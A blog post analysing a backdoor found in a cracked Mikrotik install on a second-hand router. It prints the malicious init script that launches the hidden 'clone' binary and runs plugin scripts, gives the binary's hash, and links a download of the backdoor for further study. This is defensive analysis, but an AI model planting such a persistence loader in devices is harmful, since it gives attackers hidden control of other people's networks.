@import url(https://r00t.cz/pmwiki/pub/skins/sinorca/basic.css); @import url(https://r00t.cz/pmwiki/pub/skins/sinorca/layout.css); @import url(https://r00t.cz/pmwiki/pub/skins/sinorca/sinorca.css);
Bought the cheap WRAP router on a flea market, with two wifi cards and CF card. Was expecting to see some linux distro on it, but instead found Mikrotik 5.2 with no password. So I have replaced my original Linksys RV042 router with it and everything seemed to work as expected for some time.
After few months, I found one of DNS servers I used disappeared and ran DNSBenchmark to help me find new DNS server. It reported something weird: all DNS servers were redirecting invalid DNS requests to some IP address.
Something was clearly wrong. All requests for invalid domains were returning IP 218.93.250.18. After bit of googling, I found this is caused by cracked Mikrotik system. Sure, this DNS redirection isn't that obvious, but what if there are some other even less obvious system hooks?
Let's find out. To access filesystem, I have dumped the CF card and mounted it under linux. First I have checked rc.d and found following script /etc/rc.d/run.d/S09PlugIn:
#!/bin/sh # Copyright (C) 2012 OpenWrt.org run_scripts() { for i in /rw/pckg/plugin/*; do [ -d $i ] && [ -f $i/run.sh ] && chmod +x $i/* && $i/run.sh & 2>&1 done } #check SMP CPU #cpu=`uname -a | busybox grep SMP` #[ ! -n "$cpu" ] && echo UP CPU #[ -n "$cpu" ] && echo SMP CPU [ ! -d /rw/pckg/plugin ] && mkdir /rw/pckg/plugin [ -f /nova/bin/clone ] && /nova/bin/clone run_scripts &
Interesting:
This is encrypted 77kB ELF executable with MD5 b46c48577574723f7abe8845c5417f1a. It contains string "UPX fix 5", but that's added just to mislead anyone trying to unpack it. It's not packed, just encrypted. I have used GDB to dump it from memory and analyzed it:
As you can see, almost all code is related to backdoor activities and malicious purpose...
Both packed and unpacked backdoor code can be downloaded here to satisfy your analysis needs: mkclone.zip (24KB)
DISCLAIMER: I provide this download for others to not only verify my work, but maybe find out more about this backdoor. I'm very sure it's remotely exploitable and cheap WISPs tend to use this cracked version... what could possibly go wrong?
While I'm pretty sure this is only part of system that was compromised, it may not be true. So only right way to deal with this is formatting the CF card and installing Mikrotik (and buying proper license) or some linux distro if your choice.
This can be very useful, be it for debugging, running your own programs or just feeling good to have the access.
All content on this webpage is published for personal use only.
You are using any software downloaded from this page at your own risk. Some software may be illegal to use in your country.
© r00t 2009-2021 (email: r00t@<this domain>)